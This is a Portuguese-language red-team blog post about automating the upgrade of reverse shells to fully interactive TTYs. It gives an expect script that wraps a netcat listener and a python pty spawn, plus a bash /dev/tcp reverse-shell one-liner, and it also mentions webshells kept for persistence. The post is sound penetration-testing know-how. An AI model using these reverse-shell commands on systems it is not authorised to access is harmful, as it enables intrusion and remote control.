Fully (auto) interactive TTY shells
Introdução
Durante testes de invasão ou exercícios de red teaming, uma das tarefas mais recorrentes é a obtenção de um shell remoto, seja ele do tipo bind ou reverso. Uma vez explorada alguma vulnerabilidade de injeção de comandos, por exemplo, basta utilizar algum dos snippets já amplamente testados para obter um shell reverso na máquina do atacante.
Normalmente o shell obtido é um shell não-interativo, o que impossibilita a execução de processos que necessitam um maior controle do terminal, tais como editores de texto visuais e programas que lidam com informações de login, por exemplo. Por isso, para poder rodar esses programas, é necessário utilizar um programa que, a partir desse shell, force a alocação de um pseudoterminal (pty) e execute, mediante fork/exec, um novo shell. Esse novo shell herdará a mesma tabela de alocação de arquivos do processo que alocou o pty, podendo assim executar processos interativos.
Adicionalmente, mesmo depois de obter um shell remoto interativo, é interessante configurá-lo com os mesmos parâmetros do terminal do lado atacante, para que sua saída seja compatível com o existente lá. Outra preocupação é colocar o terminal do atacante em modo raw (sem tratamento das teclas pressionadas), para que estes pressionamentos possam ser enviados e tratados adequadamente pelo shell remoto, e desabilitar o eco local dos caracteres digitados, para evitar que o caracter apareça duas vezes na tela do atacante: uma vez quando digitado e outra vez devido ao eco remoto, após recebido na outra ponta.
Upgrade para shells remoto totalmente interativos
Os leitores mais experientes já sabem que a solução para os problemas descritos anteriormente já existem há bastante tempo, na forma de diversas postagens em inúmeros blogs sobre segurança ofensiva, normalmente sob o nome de “atualizando shells para TTYs totalmente interativos” ou algo semelhante. É uma solução bem eficaz e amplia sobremaneira as possibilidades de pós-exploração num engajamento, além de proporcionar um ambiente tão confortável quanto uma sessão SSH ou de um emulador de terminal local.
Há um único inconveniente com essa solução: é um processo um pouco demorado para realizar e demanda atenção redobrada para evitar perder o shell obtido. Depois de ter executado várias vezes os mesmos passos, a tarefa se torna meio tediosa. Vasculhando a Internet, não consegui encontrar nenhuma solução mais prática, logo resolvi fazer o que todo ex-administrador de sistemas faria: tentar automatizar o processo.
Upgrade automático para shells remotos totalmente interativos
A solução é simples: usei o expect
, um comando do Unix utilizado para
interagir com um programa interativo, de modo a esperar uma conexão e enviar os
comandos necessários para o “upgrade” do shell. As minhas primeiras tentativas
foram ingênuas, pois eu estava tentando emular o mesmo processo realizado
manualmente:
- esperar uma conexão e executar um comando no shell remoto para obter um shell interativo;
- colocar o processo que recebeu a conexão em background;
- guardar as principais características do terminal anfitrião para repassá-las posteriormente ao shell remoto;
- colocar o terminal anfitrião em modo raw e desabilitar o eco local;
- trazer novamente o processo que recebeu a conexão para primeiro plano;
- configurar o dispositivo tty remoto com os mesmos parâmetros do terminal local, além de informar ao shell o tipo de terminal utilizado;
- resetar o terminal.
O problema principal consistia em conseguir colocar o processo que recebia o shell em background e depois novamente em primeiro plano. Após tentar várias abordagens, eu me convenci que seria extremamente difícil conseguir fazer o upgrade total do shell remoto dessa maneira.
Eu já havia desistido de automatizar esse processo, quando outro dia precisei em várias oportunidades receber um shell reverso a partir de webshells usados para persistência. Já cansado de repetir o mesmo processo várias vezes, dei uma outra olhada no script inacabado e me dei conta que eu não precisava realizar tudo na mesma sequência que é executada manualmente: eu poderia obter as informações necessárias sobre o terminal local primeiro e em seguida já passar o terminal para o modo raw e com eco local desabilitado. Após isso, bastaria iniciar o processo que esperaria a conexão e esperar pela conexão do shell reverso, enviando os comandos para obtenção do shell interativo e da configuração correta do terminal do lado do alvo.
Resultado
No final, preparei um script do expect que automatiza o recebimento e o upgrade de um shell reverso. Neste caso, a porta, o comando a ser executado e qual mensagem esperar antes de enviar o comando estão hardcoded no próprio script. As adaptações de acordo com o idioma ou versão do netcat utilizado, ou até mesmo a utilização de outros programas, tais como openssl, fica como exercício para o leitor.
Antes de rodar o script, instale o expect
, caso não esteja instalado. Em
distribuições Debian ou derivadas, basta utilizar o apt
:
sudo apt install expect
Depois crie um script expect com o seguinte conteúdo e dê permissão de execução
com chmod +x
:
#!/usr/bin/expect
set timeout -1
set rows [exec bash -c {stty -a | head -1 | grep -oP '(?<=rows )\w+(?=;)'}]
set cols [exec bash -c {stty -a | head -1 | grep -oP '(?<=columns )\w+(?=;)'}]
set term [exec bash -c {printenv TERM}]
set stty_init {raw -echo}
spawn nc -nlvp 4321
expect {
"Connection from" {
send "python2 -c 'import pty;pty.spawn(\"/bin/bash\");'\r"
send "stty rows ${rows} columns ${cols}\r"
send "export TERM=${term}\r"
send "reset\r"
}
}
interact
Por último, basta executar o script criado e, a partir do host alvo, executar um comando para obter o shell reverso:
bash -i >& /dev/tcp/localhost/4321 0>&1
Pronto! Agora basta aproveitar seu “fully (auto) interactive TTY shell” sempre que necessário.